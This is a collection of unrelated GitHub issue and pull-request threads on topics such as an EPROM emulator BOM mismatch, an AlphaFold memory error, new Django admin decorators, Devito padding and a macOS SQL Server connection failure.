There is a difference in values of RN1, RN2 and RN3. In the schematic and on the board it is 10K, in the BOM it is 47K.

I’ve been using both, 10k, 22k, and 47k will all work fine
On Sat, Jun 15, 2024 at 1:13 PM rolo64416 @.***> wrote:

There is a difference in values of RN1, RN2 and RN3. In the schematic and
on the board it is 10K, in the BOM it is 47K.
—
Reply to this email directly, view it on GitHub
https://github.com/Kris-Sekula/EPROM-EMU-NG/issues/29, or unsubscribe
https://github.com/notifications/unsubscribe-auth/AFTKLJBLN6RGLQ3SCPPS2UDZHPEP7AVCNFSM6AAAAABJLMKWAGVHI2DSMVQWIX3LMV43ASLTON2WKOZSGM2TINJVGY2TQNY
.
You are receiving this because you are subscribed to this thread.Message
ID: @.***>

Thanks.


OOM error for 4000 length monomer strucuture prediction

Hello,
I’m trying to predict monomer structure of length 4000 protein on 80G A100 NVIDIA GPU,  the readme says the maximum length of prediction is more than 5000, while an OOM error occurs as below, are there some special settings need to be set to run prediction of length 5000 protein?
‘’‘ log
BufferAssignment OOM Debugging.
 Are you using the docker image?

I‘m using without docker, the docker script is not supported on my machine.
Is there any difference between with and without docker running script?

These environment variables should be helpful: https://github.com/deepmind/alphafold/blob/main/docker/run_docker.py#L245
The reason for my question was just to check these are being set. It should be possible to run without the Docker image, but in this case you will need to ensure the runtime environment has been set up correctly.


Suspicious fragments found by PVS-Studio Static Analyzer

Hello,
I checked OpenCvSharp with a PVS-Studio static analyzer and found several suspicious places in the code. The most interesting places in my opinion I described in the article: "Checking the OpenCvSharp Wrapper for OpenCV with PVS-Studio". Not all of the analyzer's warnings were cited in the article. Perhaps some warnings not considered in the article will seem more interesting than the ones, described by me. Therefore, I suggest trying the license for open-source projects and check the project yourself.  Hopefully this will help you make the code even better.

Most of the issues you pointed out have already been corrected in the master. Do not write articles about the old code.
I don't understand what you pointed out about your "The most interesting warnings". There is no mistake. I wrote it intentionally.
In recent years, I have been able to improve code quality with the help of ReSharper.
The writing of your article is very frustrating for me. Why don't you do a pull request? I don't agree with your company's article policy.


Ci tweaks

Codecov Report

Merging #297 (09ae003) into main (7029215) will decrease coverage by 0.01%.
The diff coverage is n/a.

Additional details and impacted files
@@            Coverage Diff             @@
##             main     #297      +/-   ##
==========================================
- Coverage   97.44%   97.42%   -0.02%
==========================================
  Files          54       54
  Lines        6212     6165      -47
  Branches       44       44
==========================================
- Hits         6053     6006      -47
  Misses        159      159

Impacted Files
Coverage Δ

src/input/input_python.rs
98.37% <0.00%> (-0.17%)
:arrow_down:

src/validators/typed_dict.rs
99.07% <0.00%> (-0.02%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 7029215...09ae003. Read the comment docs.


Add keyword to find ROSA_HCP environment

Add keyword to find ROSA_HCP environment

Smoke test passed on ROSA_HCP cluster in rhoai-test-flow/2176
and on other cluster in rhoai-test-flow/2175/


Add docker-compose file and update README documentation

Hallo, Wie geht's?
Thank you for all your effort in running the site and providing valuable information for all of us.
The docker-compose file will make life easier for future users and collaborators on this project.

Hi there! Thanks for the pull request.
Does a docker-compose file make sense in this situation? Usually docker-compose is used to compose a system out of multiple containers. For example, All About Berlin has a docker-compose file that includes this image. A docker-compose file for a single container does not really make sense in this case, I think.

Hi Nicbou, no problem. I liked your initiative on all this "mess" that is German bureaucracy.
I agree with you that a docker-compose file makes more sense when you have multiple services and images that are going to work together, but also this can be a simplification for the user. In this case as you saw in the README file the user can run a simple command and that will do all the magic.
docker-compose run --rm appointments appointments --q
This will:

Create the image and install all the dependencies
Run the command to start the appointments process
Remove the container after the process is done (cleaning)

Hi Nicbou, no problem. I liked your initiative on all this "mess" that is German bureaucracy. I agree with you that a docker-compose file makes more sense when you have multiple services and images that are going to work together, but also this can be a simplification for the user. In this case as you saw in the README file the user can run a simple command and that will do all the magic.
docker-compose run --rm appointments appointments --q
This will:

Create the image and install all the dependencies
Create the container and run the command to start the appointments process
Remove the container after the process is done (cleaning)

What do you think Nicbou? Tchüss

I'll stand by my original point: this adds more code, but it does not really add more convenience over running a single docker image directly. This should be something that docker users already understand how to do, and it's out of scope for this project.
Nonetheless, thanks a lot for taking the time to create and argue for this pull request. I hope that this does not discourage you to contribute more patches.


COMP: Fix extension dependencies

I think we have to remove "ExtractCenterline" from self.parent.dependencies in Liver.py as well


spell out CSR

minor text edit to spell out an acronym

it is my understanding that this should trigger automatically the english source strings on Transifex to be updated, and any other languages that have this string already translated will change back to needing to be translated again for it?

@danbjoseph Your understanding is correct


Enhance docs

What is the expected enhancement?
The repo still has a lot of template structure that we can leverage to improve the documentation.

Done in #11 and #12


accumulator: Add more descriptive comment for Undo

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 84.414%

Totals

Change from base Build<PHONE_NUMBER>:
0.0%

Covered Lines:
2161

Relevant Lines:
2560

💛  - Coveralls


fix heated seats sensor handling of "Fault"

Changed to be the explicit On states, "Level_1", "Level_2", "Level_3"

Fixes #60


Use := operator instead of = for variable asignation

Purpose
Fix template errors described in #672 672
Screenshots
There is no GUI change
Documentation
There is no needed documentation change

I'm using hugo installed from arch linux packages, which correctly outputs versión 0.48-1
pacman -Qi hugo
Nom                              : hugo
Versió                           : 0.48-1
Descripció                       : Fast and Flexible Static Site Generator in Go
Arquitectura                     : x86_64
This is the ooutput of hugo version:
Hugo Static Site Generator v0.48/extended linux/amd64 BuildDate: 2018-09-02T19:31:50+0200

I'm guessing Hugo 0.48 was compiled with Go < 1.11. On my computer, if I compile Hugo with Go 1.10 then I would get error when using hugo serve. Using Go1.11 compiler would not bring an error.
In my opinion, the problem comes from the package hugo on ArchLinux and not the template.

@Bertbk Ok, I will create a bug report for the archlinux package and update here with the response I get.
Thanks for your time.

JFR i've created https://bugs.archlinux.org/task/59946

Using the hugo packaged version from github works as expected. So I confirm that the issue is the archlinux package

same issue here, also use archlinux


[macOS] Connect to named sql server instance fails

Issue Type: Bug
When trying to connect to a named instance (Server\Instance) the connection fails with error 35. On Windows the same settings work.
Microsoft.Data.SqlClient.SqlException (0x80131904): A connection was successfully established with the server, but then an error occurred during the pre-login handshake. (provider: TCP Provider, error: 35 - An internal exception was caught)
---> System.Security.Authentication.AuthenticationException: Authentication failed, see inner exception.
---> Interop+AppleCrypto+SslException: Internal error
--- End of inner exception stack trace ---
at System.Net.Security.SslStream.ForceAuthenticationAsync[TIOAdapter](TIOAdapter adapter, Boolean receiveFirst, Byte[] reAuthenticationData, Boolean isApm)
at System.Net.Security.SslStream.ProcessAuthentication(Boolean isAsync, Boolean isApm, CancellationToken cancellationToken)
at System.Net.Security.SslStream.AuthenticateAsClient(SslClientAuthenticationOptions sslClientAuthenticationOptions)
at System.Net.Security.SslStream.AuthenticateAsClient(String targetHost, X509CertificateCollection clientCertificates, SslProtocols enabledSslProtocols, Boolean checkCertificateRevocation)
at System.Net.Security.SslStream.AuthenticateAsClient(String targetHost)
at Microsoft.Data.SqlClient.SNI.SNITCPHandle.EnableSsl(UInt32 options)
at Microsoft.Data.SqlClient.SqlInternalConnection.OnError(SqlException exception, Boolean breakConnection, Action1 wrapCloseInAction)    at Microsoft.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj, Boolean callerHasConnectionLock, Boolean asyncClose)    at Microsoft.Data.SqlClient.TdsParser.ConsumePreLoginHandshake(Boolean encrypt, Boolean trustServerCert, Boolean integratedSecurity, Boolean& marsCapable, Boolean& fedAuthRequired)    at Microsoft.Data.SqlClient.TdsParser.Connect(ServerInfo serverInfo, SqlInternalConnectionTds connHandler, Boolean ignoreSniOpenTimeout, Int64 timerExpire, Boolean encrypt, Boolean trustServerCert, Boolean integratedSecurity, Boolean withFailover, SqlAuthenticationMethod authType)    at Microsoft.Data.SqlClient.SqlInternalConnectionTds.AttemptOneLogin(ServerInfo serverInfo, String newPassword, SecureString newSecurePassword, Boolean ignoreSniOpenTimeout, TimeoutTimer timeout, Boolean withFailover)    at Microsoft.Data.SqlClient.SqlInternalConnectionTds.LoginNoFailover(ServerInfo serverInfo, String newPassword, SecureString newSecurePassword, Boolean redirectedUserInstance, SqlConnectionString connectionOptions, SqlCredential credential, TimeoutTimer timeout)    at Microsoft.Data.SqlClient.SqlInternalConnectionTds.OpenLoginEnlist(TimeoutTimer timeout, SqlConnectionString connectionOptions, SqlCredential credential, String newPassword, SecureString newSecurePassword, Boolean redirectedUserInstance)    at Microsoft.Data.SqlClient.SqlInternalConnectionTds..ctor(DbConnectionPoolIdentity identity, SqlConnectionString connectionOptions, SqlCredential credential, Object providerInfo, String newPassword, SecureString newSecurePassword, Boolean redirectedUserInstance, SqlConnectionString userConnectionOptions, SessionData reconnectSessionData, Boolean applyTransientFaultHandling, String accessToken, DbConnectionPool pool)    at Microsoft.Data.SqlClient.SqlConnectionFactory.CreateConnection(DbConnectionOptions options, DbConnectionPoolKey poolKey, Object poolGroupProviderInfo, DbConnectionPool pool, DbConnection owningConnection, DbConnectionOptions userOptions)    at Microsoft.Data.ProviderBase.DbConnectionFactory.CreateNonPooledConnection(DbConnection owningConnection, DbConnectionPoolGroup poolGroup, DbConnectionOptions userOptions)    at Microsoft.Data.ProviderBase.DbConnectionFactory.<>c__DisplayClass47_0.<CreateReplaceConnectionContinuation>b__0(Task1 _)
at System.Threading.Tasks.ContinuationResultTaskFromResultTask`2.InnerInvoke()
at System.Threading.ExecutionContext.RunInternal(ExecutionContext executionContext, ContextCallback callback, Object state)
--- End of stack trace from previous location ---
at System.Threading.Tasks.Task.ExecuteWithThreadLocal(Task& currentTaskSlot, Thread threadPoolThread)
--- End of stack trace from previous location ---
at Microsoft.SqlTools.ServiceLayer.Connection.ReliableConnection.ReliableSqlConnection.<>c__DisplayClass30_0.<b__0>d.MoveNext() in D:\a\1\s\src\Microsoft.SqlTools.ManagedBatchParser\ReliableConnection\ReliableSqlConnection.cs:line 312
--- End of stack trace from previous location ---
at Microsoft.SqlTools.ServiceLayer.Connection.ConnectionService.TryOpenConnection(ConnectionInfo connectionInfo, ConnectParams connectionParams) in D:\a\1\s\src\Microsoft.SqlTools.ServiceLayer\Connection\ConnectionService.cs:line 557
ClientConnectionId:caaaab59-af99-4baf-a195-fa24aafc5b6f
Azure Data Studio version: azuredatastudio 1.35.1 (fab63efd307e54c063c8af03474bbb5d77f5fd11, 2022-03-15T18:00:06.749Z)
OS version: Darwin x64 21.4.0
Restricted Mode: No

System Info

Item
Value

CPUs
Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz (12 x 2600)

GPU Status
2d_canvas: enabledgpu_compositing: enabledmetal: disabled_offmultiple_raster_threads: enabled_onoop_rasterization: enabledopengl: enabled_onrasterization: enabledskia_renderer: disabled_off_okvideo_decode: enabledwebgl: enabledwebgl2: enabled

Load (avg)
3, 3, 2

Memory (System)
16.00GB (0.15GB free)

Process Argv

Screen Reader
no

VM
0%

Extensions: none

@avenius the error message appears to be related to the SSL handshake.  Have you tried to either (1) set the Trust server certificate Advanced option to True, or (2) ensuring the server certificate is in the CA chain for the ADS process?  I believe ADS bundles its own root CA list since that is what Node.JS does by default but there are environment variables to override if you need to go that route.

@kburtram I tried the "Trust server certificate" already, the server certificate (not sure if the server has one) I will check tomorrow (had to ask out admins). If I try to connect to the default Instance (just SERVERNAME) it works, okay this is a different instance and maybe a different certificate.

@avenius Let us know if your problem is resolved or if you need any additional support.
Thanks!

Closing due to inactivity.


Errors when disassembling

Traceback (most recent call last):
  File "./opcache_disassembler.py", line 307, in <module>
    ast = disassembler.create_ast(sys.argv[len(sys.argv) - 1])
  File "./opcache_disassembler.py", line 186, in create_ast
    functions = opcache['script']['function_table']['buckets']
KeyError: 'buckets'

command:python3 ./opcache_disassembler.py -c -a64 phpinfo.php.bin
Tried:changing PHP version(3.4~3.9),run in wsl,but none of them worked.
phpinfo.php.zip
Here's my file
:)Thanks

There's probably something that needs to be adapted to support newer PHP version. This was developed for PHP 7.

Tried:changing PHP version(3.4~3.9),run in wsl,but none of them worked.

You are saying PHP version 3.4 or 3.9 but I assume you are mistaken since PHP 3 was released in 1998.
Unfortunately, we do not plan to maintain our OPCache disassembler. That said, we would accept contributions if you ever manage to understand what is not working properly.

Is there plans to allow it parsing PHP 8 files?

No, this was a proof-of-concept done by a former intern to demonstrate what we thought was problematic behavior with PHP. No work is planned for this project. Contributions would be accepted. Donating the project to another organization or individual would also be possible.


[Release Notes] Script to extract release notes in the new format

Description
Script extracts release notes in the new format where a single PR can contain different breaking changes for each functional area
Test Plan
Tested manually against a number of test commits containing the following notes (the heading is intentionally omitted to stop the script triggering on this commit):
- [x] Protocol: Increase protocol version to 100
- [ ] Nodes (Validators and Full nodes):
- [ ] GraphQL:
- [x] CLI: Add new command
- [ ] Rust SDK:

- [ ] Protocol: Increase protocol version to 100
- [ ] Nodes (Validators and Full nodes):
- [ ] GraphQL:
- [ ] CLI: Add new command
- [ ] Rust SDK:

- [ ] Protocol:
- [ ] Nodes (Validators and Full nodes):
- [ ] GraphQL:
- [ ] CLI:
- [ ] Rust SDK:

- [ ] Protocol: Increase protocol version to 100
- [ ] Nodes (Validators and Full nodes):
- [x] GraphQL: Made a lot of changes to:
    - Foo
    - Bar
    - Baz
- [ ] CLI: Add new command
- [ ] Rust SDK:

Produced the following output:
[
  {
    "sha": "test",
    "notes": {
      "Protocol": "Increase protocol version to 100",
      "CLI": "Add new command"
    }
  },
  {
    "sha": "test",
    "notes": {
      "GraphQL": "Made a lot of changes to:\n    - Foo\n    - Bar\n    - Baz"
    }
  }
]

@amnn, thanks for the script. Does it have to in json format if we are pasting them into the text box of the release notes in Github?

@amnn This script should also respect paths that we care about
see https://github.com/MystenLabs/sui/blob/main/.github/workflows/release-notes-monitor.yml#L3

@ebmifa, Oh sure, it doesn't have to be JSON, I can make it mimic the existing format, but grouping by the impacted areas or something?

@ebmifa, Oh sure, it doesn't have to be JSON, I can make it mimic the existing format, but grouping by the impacted areas or something?

Yes, that would be great


Fix CI testing of stable branch

Original commit on master = 4c13507fc291d3ca5dfb496286a003c9d62a2a20

Needed to unblock https://github.com/dlang/phobos/pull/7937


Fixed #16117 -- Added decorators for admin action and display functions.

See ticket-16117. Also for reference, ticket-25134 and ticket-32099.
Opening as a draft as I still have work to do on the documentation - I just scattered a few changes in various areas to identify those areas that need work. Please feel free to review for the rest.
For some further detail:
I've added two decorators - one for custom display functions used in list_display and readonly_fields, and one for custom action functions. Below are the proposed signatures of these decorators and how they map to the attributes assigned directly to the functions. Note that the attribute naming isn't copied to the decorator parameters exactly as they are often unnecessarily complex, e.g. short_description which happens to be the only description. The decorator parameters are also keyword-only which should prevent any mistakes in ordering of arguments.

@admin.action(*, permissions=None, description=None)

Decorator Parameter
Attribute

permissions
allowed_permissions

description
short_description

@admin.display(*, boolean=None, ordering=None, description=None, empty_value=None)

Decorator Parameter
Attribute

boolean
boolean

ordering
admin_order_field

description
short_description

empty_value
empty_value_display

It is probably worth mentioning some of the benefits of these decorators:

The available attributes are more discoverable via code completion of the decorator parameters.
The attributes assigned to the function could have a typo and not be used correctly.

This seems particularly bad for the allowed_permissions attribute on an action function.

The @property decorator can be used which wasn't possible when assigning attributes directly to the function:@property
@admin.display(boolean=True)
def is_published(self, obj):
    return self.date is not None

I also looked at some of the other things mentioned on the tickets and in existing third-party packages, e.g. django-admin-decorators. Here are my thoughts on various bits:

Obviously there is no support for the - now removed - allow_tags attribute.
I think that combined decorators are better than individual, e.g. @boolean, @short_description.
These new decorators will not be mandatory and defining the attributes directly will still work. This avoids undue burden when upgrading. We'd also still need to write some attributes to the function, so there is no point making them private and going through a whole deprecation process.
If none of the attributes are needed we also don't want to have to force use of @admin.display() with no arguments, although that is permissible to make it clear what that method is for. It'll just have no effect.
Based on this comment I chose to use ordering instead of admin_order_field in the decorator. This is also because we now support expressions, so the admin_order_field name hasn't aged so well.
Referring to this comment, I added support for empty_value_display as that is already exposed in the same way as the other attributes. There is no existing support for row_classes, so I've ignored that.
There was this comment regarding importing django.contrib.admin in a models.py. I don't necessarily think this is a problem if people desire to do this, but we are also not going to make using the decorator a hard requirement.
Looking at what is provided by django-admin-decorators, we handle @short_description, @order_field, @boolean, @allow_tags, and @boolean. There are also some other decorators, e.g. @limit_width, but these are manipulating the returned values which is out of the scope.

Questions for those reviewing:

Are we happy with the decorator names? (Dropped the _method suffix.)

The _method suffix is so-so as functions can be used instead of ModelAdmin methods.

Are we happy with the decorator parameter names?

I have created this request 9 years ago but this is still valid issue for me :)
Thanks! :)

Ok. This is ready for review.

The _method suffix is so-so as functions can be used instead of ModelAdmin methods.

I feel like dropping the suffix would be a good idea. @action reads better and avoids confusion around their validity for plain functions.

That works for me. In the general case if people are doing from django.contrib import admin, then they'll use @admin.action() and @admin.display().

Thanks for the initial review @adamchainz.

Thanks again, @adamchainz.
I added a fixup that allows using the empty decorator without parentheses. I also added some documentation to note that use of the decorator is not compulsory, but can still be useful as a marker to identify the purpose of the function even where adding attributes is not required/desired.
I'm happy to add an extra wrapping function and use functools.wraps() if you would like this to avoid side effects @carltongibson. Just let me know... :stuck_out_tongue:

IMO the side-effects issue is less of a worry here, since the existing method was to attach the extra attributes to the function directly.

I've split out the clean up commits into separate pull requests and removed most of them from here. I'll remove the remaining two when the other pull requests are merged and I can rebase this one.

@carltongibson Any chance this will make it in for 3.2? It's been "ready" for quite a while.

@carltongibson Any chance this will make it in for 3.2? It's been "ready" for quite a while.

I'm happy to add an extra wrapping function and use functools.wraps() if you would like this to avoid side effects @carltongibson. Just let me know... 😛

Side-effects matter, for example, when you use a decorator inline in the URL conf, like this...
urlpatterns = [
     path("decorated-stuff/", decorate(stuff), name="decorated-stuff"),
]

This is pretty common. Then, it's surprising, shall we say, if stuff has additional attributes.

I'm happy to add an extra wrapping function and use functools.wraps() if you would like this to avoid side effects @carltongibson. Just let me know... 😛

Side-effects matter, for example, when you use a decorator inline in the URL conf, like this...
urlpatterns = [
     path("decorated-stuff/", decorate(stuff), name="decorated-stuff"),
]

This is pretty common. Then, it's surprising, shall we say, if stuff has additional attributes.

Side-effects matter, for example, when you use a decorator inline in the URL conf, like this...

@carltongibson I've pushed a !fixup to prevent side effects.

Side-effects matter, for example, when you use a decorator inline in the URL conf, like this...

@carltongibson I've pushed a !fixup to prevent side effects.

I've pushed a !fixup to prevent side effects.

Hey @pope1ni — I'm not sure I intended that. 😄 The way you'd use these decorators is replacing the function in place, so no harm adjusting the original. (Similar to Adam's comment above — the old way adds attributes to the method directly too...)

I've pushed a !fixup to prevent side effects.

Hey @pope1ni — I'm not sure I intended that. 😄 The way you'd use these decorators is replacing the function in place, so no harm adjusting the original. (Similar to Adam's comment above — the old way adds attributes to the method directly too...)

The way you'd use these decorators is replacing the function in place, so no harm adjusting the original.

That is true. I guess the changes made don't harm things other than having extra function call overhead. I'll leave the !fixup as it is and it can be dropped when you squash.

The way you'd use these decorators is replacing the function in place, so no harm adjusting the original.

That is true. I guess the changes made don't harm things other than having extra function call overhead. I'll leave the !fixup as it is and it can be dropped when you squash.

I have one concern. We have thousands upon thousands of sites out there using the old attributes, who (I'm imagining) might want to search for the attributes they're using in the docs to lookup how they work and what they do.
I'm a bit worried that we make such too difficult removing all but the single reference in the "with the original, longer names" bit of the added decorator docs.

I can sympathise with that. I felt the same but wasn't sure how to address it.

Related, I'm not seeing versionchanged/versionadded annotations.

I already had versionadded annotations in the documentation of the generators.
I've pushed another !fixup with some versionchanged annotations in the relevant areas. Maybe the wording needs tweaking, but it's a start... I figured that this would be enough for mentioning the original attribute names for a couple of releases.

I think we probably need to accommodate developers working on existing (legacy) installs for some time to come. Maybe a prominent link to the relevant decorator at the beginning of the actions and list_display sections?  What do you think?

I had a look at this, but wasn't sure how best to fit anything in as the documentation is currently structured. For the list_display section it isn't really relevant until it starts talking about callables.

Nice.

:smiley:

I have one concern. We have thousands upon thousands of sites out there using the old attributes, who (I'm imagining) might want to search for the attributes they're using in the docs to lookup how they work and what they do.
I'm a bit worried that we make such too difficult removing all but the single reference in the "with the original, longer names" bit of the added decorator docs.

I can sympathise with that. I felt the same but wasn't sure how to address it.

Related, I'm not seeing versionchanged/versionadded annotations.

I already had versionadded annotations in the documentation of the generators.
I've pushed another !fixup with some versionchanged annotations in the relevant areas. Maybe the wording needs tweaking, but it's a start... I figured that this would be enough for mentioning the original attribute names for a couple of releases.

I think we probably need to accommodate developers working on existing (legacy) installs for some time to come. Maybe a prominent link to the relevant decorator at the beginning of the actions and list_display sections?  What do you think?

I had a look at this, but wasn't sure how best to fit anything in as the documentation is currently structured. For the list_display section it isn't really relevant until it starts talking about callables.

Nice.

:smiley:

Let's risk it for a biscuit.

:cookie:

Let's risk it for a biscuit.

:cookie:

Thanks @adamchainz and @carltongibson! :superhero:

Thanks @adamchainz and @carltongibson! :superhero:


Creative Answers when prompted

Do you know what I can enable to have the bot give creative answers? I tried changing the temperature, but if i ask question like "Can you create a poem based on the summary of the knowledge base" it is not able to. I changed the prompt in chatpdf/api/Python/ChatGpt/init.py but didn't get any results back.
Do I have to use a different chain from Langchain? I want chatpdf to do something like what this is doing: https://www.chatpdf.com/
Thank you so much!

You should be able to take the advantage of Prompt Modifications/Engg to achieve what you want.   I am going to modify the code to allow overriding Prompt via the Developer Settings, so that you don't have to modify the code.   Let me give you some sample prompt

Thank you so much. I look forward to the sample prompts! ;)


Symbolic padding

Padding is a per-Function thing, which may vary:

across different applications of the same Operator (due to using Functions with different shape and thus requiring different padding so that the innermost size is a multiple of the vector length);
across different MPI ranks in the same MPI session.

In many circumstances, we must generate symbols, rather than numbers, to represent padding values.
In particular, when using YASK or running with MPI we need:

symbolic array casts

Further, when running with MPI:

The MPI halo exchange routines must take into account the presence of padding (through symbolic values)

This PR implements this behavior.

Oh, one more thing...  In the generated C code, there are still a lot of hard-coded references to the halo size, but interestingly not the padding.
e.g. u[time_s1][xi+8][yi+8][zi+8] = ...
Is this a problem, or does this mean you have rolled the shifts due to the padding into the address of the array passed down into C?

symbolic padding is not used when in non-MPI, non-YASK mode.  I'm not sure why you wouldn't want to do it all the time?

yes, you’re correct, in non-MPI, non-YASK mode, the padding is still explicit. This is because of three reasons, though perhaps not very compelling:

if I had changed it, I’d have had to update lots of tests, while basically nobody is using this feature, AFAICT
the generated code gets a bit more ugly
for educational purposes (eg, our notebooks), seeing padding and halo explicitly is quite helpful.

ironically, when I made this decision, I was not thinking that you can run the same operator with different functions having different padding :sunglasses:  though I even probably stated it in the PR description

If the symbolic padding is not always on, then it's probably a good idea to detect that the user has provided Functions to apply with different padding to that specified at the time of Operator creation, and error. Currently it misbehaves badly in this case, and this will be especially true if the new Function has less padding - that could easily lead to OOB/segfault.

you're right, I'll do something for this

In MPI mode, the top-level Operator function uses the size from the descriptor, but the nested callables (e.g. f_0) are still passed x_size, y_size, etc, and with the padding hard-baked into the code of the function f_0. Interestingly, scatter_u and gather_u seem fine

OK this is weird and I'm not sure I follow, I'll try to write a test to reproduce this

The selfdoc does not make clear that padding can be a tuple of 2-tuples, to specify left and right padding. Note: if the main purpose of padding is for memory alignment, I think that the default should be one-sided (i.e. only pad on the right). This tripped me up - it was effectively doubling all the padding values I gave it until I figured this out.

I should clear this out. Again, you're being hit by the fact that nobody has used this feature in a long while. In fact, what we should do is to start introducing padding automatically under the hood. I could enforce one-sided padding in core. yask may still benefit from two-sided padding probably because of the fancy memory layout. However, YASK controls padding, not the user, so ...

Oh, one more thing... In the generated C code, there are still a lot of hard-coded references to the halo size, but interestingly not the padding.
e.g. u[time_s1][xi+8][yi+8][zi+8] = ...
Is this a problem, or does this mean you have rolled the shifts due to the padding into the address of the array passed down into C?

assuming padding is right-sided, this is a non-issue. In non-MPI, non-YASK mode, any left-padding is added to the halo, so you only see one number. About

does this mean you have rolled the shifts due to the padding into the address of the array passed down into C?

You can't easily do that with multi-dimensional arrays, I suppose...

@tjb900  I'm gonna enforce right-padding for the innermost dimension only in core. Note that with classic row-major storage layout, padding the inner dimensions is actually irrelevant.

@tjb900 I'm gonna enforce right-padding for the innermost dimension only in core. Note that with classic row-major storage layout, padding the inner dimensions is actually irrelevant.

I'm not actually sure this is true; I'd like to experiment before this feature goes away...  would it be possible to request a delay on that?

I'm not actually sure this is true; I'd like to experiment before this feature goes away... would it be possible to request a delay on that?

OK

One-sided padding -- is that fine with you?

One-sided padding -- is that fine with you?
Yeah, one sided is good.  I just think there might be value in controlling it not just for the innermost dimension.

Codecov Report

Merging #729 into master will increase coverage by 0.17%.
The diff coverage is 95.12%.

@@            Coverage Diff             @@
##           master     #729      +/-   ##
==========================================
+ Coverage   88.06%   88.24%   +0.17%
==========================================
  Files         100       99       -1
  Lines        9931     9989      +58
  Branches     2014     2016       +2
==========================================
+ Hits         8746     8815      +69
+ Misses        941      929      -12
- Partials      244      245       +1

Impacted Files
Coverage Δ

devito/tools/__init__.py
100% <ø> (ø)
:arrow_up:

devito/mpi/__init__.py
100% <ø> (ø)
:arrow_up:

devito/parameters.py
88.46% <ø> (ø)
:arrow_up:

devito/core/operator.py
85.13% <100%> (-0.58%)
:arrow_down:

devito/mpi/routines.py
100% <100%> (ø)
:arrow_up:

devito/mpi/halo_scheme.py
94.53% <100%> (ø)
:arrow_up:

devito/ir/support/utils.py
97.98% <100%> (ø)
:arrow_up:

devito/core/autotuning.py
86.41% <100%> (-0.08%)
:arrow_down:

devito/yask/function.py
97.27% <100%> (ø)
:arrow_up:

devito/data/__init__.py
100% <100%> (ø)
:arrow_up:

... and 24 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 53bf802...2d6a4ec. Read the comment docs.


Update ns-wingdi-bitmapinfoheader.md

BITMAPINFOHEADER should be visible under GDI structs tech.root: dshow -> tech.root: gdi
Fix BITMAPINFOHEADER links /previous-versions/dd183376(v=vs.85) -> /windows/desktop/api/wingdi/ns-wingdi-bitmapinfoheader

Also, these links should be fixed:

/previous-versions/dd162805(v=vs.85) -> /windows/win32/api/windef/ns-windef-point
/previous-versions/dd162807(v=vs.85) -> /windows/win32/api/windef/ns-windef-pointl
/previous-versions/dd162808(v=vs.85) -> /windows/win32/api/windef/ns-windef-points
/previous-versions/dd162897(v=vs.85) -> /windows/win32/api/windef/ns-windef-rect
/previous-versions/dd162907(v=vs.85) -> /windows/win32/api/windef/ns-windef-rectl
/previous-versions/dd145106(v=vs.85) -> /windows/win32/api/windef/ns-windef-size

Hi, @DJm00n, and thanks for this PR.
Some of the urls aren't quite right, and there are a lot of changes here to validate. It'll be more time-effective for me to do my own search and replace across all affected repos (and that way I'll also know that all instances have been caught). I also saw your "Also, these links should be fixed" comment, so I'll do all of these changes at the same time.
I've created a backlog work item for myself to do that. So I'll go ahead and close this PR.
Thanks again!
-Steve

@stevewhims thank you Steve!

My changes are live now, FYI. Thank you! :)


Fix wrong regex patterns Multi-attribute login docs

This doc [1] contains some invalid regexes. So basically cannot try the flow if someone tries to follow the doc.
Seems the regex issue is due to markdown.  The regex in the .md file for a mobile claim is ^(\+\d{1,2}\s?)?1?\-?\.?\s?\(?\d{3}\)?[\s.-]?\d{3}[\s.-]?\d{4}$ (which is a valid one) but it shows as ^(+\d{1,2}\s?)?1?-?.?\s??\d{3}?[\s.-]?\d{3}[\s.-]?\d{4}$ in the docs. Other regex patterns also has the same issue.
[1] https://is.docs.wso2.com/en/latest/guides/login/multi-attribute-login/#try-it-out

Duplicate of https://github.com/wso2/product-is/issues/14923


Flekschas/fancified overlays

Description

What was changed in this pull request?

Fancified overlay borders and added support for outlines
New options are:

fill [string]: e.g., blue
fillOpacity [number]: e.g., 0.3
stroke [string], e.g., yellow
strokeOpacity [number], e.g., 0.6
strokeWidth [number], e.g., 1
strokePos [string, array] , e.g., top (undefined means top, left, right, bottom)
outline [string], e.g., cyan
outlineOpacity [number], e.g., 0.1337
outlineWidth [number], e.g., 1337
outlinePos [string, array], e.g., ['left', 'bottom']

Why is it necessary?

To be able to better customize overlays and make them equivalent to 1d annotations

Checklist

[x] Set proper GitHub labels (e.g. v1.6+, ignore if you don't know)
[ ] Unit tests added or updated
[ ] Documentation added or updated
[x] Example(s) added or updated
[x] Update schema.json if there are changes to the viewconf JSON structure format
[x] Screenshot for visual changes (e.g. new tracks or UI changes)
[x] Updated CHANGELOG.md

Regarding #1: Good point! I'll update the docs.
Regarding #2: That's definitely something we should discuss in general. Right now I feel like most properties are named after SVG properties so switching the ones here to CSS equivalents would be odd. Having said that, maybe we should create a document where we go over all options to see whether SVG or CSS names are more appropriate. Regarding borderLeft etc. this would require more work because we can't specify all styles in one string at the moment and specifying 3 times the same with just because the position should be top, right, left, seem too verbose.

Update the docs :)

Looks good and thanks for the extra changes!
One last thing... would you mind just copying the options list from the PR description to the docs? I find the type annotations quite helpful and referred back to them to understand how the strokePos and outlinePos parameters should be filled out.


fix import cluster label

Signed-off-by: qinyang<EMAIL_ADDRESS>
What type of PR is this?

/kind bug
What this PR does / why we need it:
Which issue(s) this PR fixes:

Fixes #
Special notes for reviewers:

Does this PR introduced a user-facing change?

Additional documentation, usage docs, etc.:

/cc @x893675

/lgtm
/approve


Added options for all capital letters.

Used the lower function. To lazy to test it so lets hope it works!

This makes all inputs lower case, causing every input to fail. We will need to also convert the other string on line 7 to lower case to fix this. In that case I think we should put both lower() functions on line 7 because this will enhance readability as it is clearly visible why lower() is there but could be unclear what it's there for on line 4.

so formal.. but sure. why not make them upper in that case though?

Both upper() and lower() would work, as long as they're both the same.

cool! :)

Thanks for the PR 👍


vote: tag 1.0.0

Release
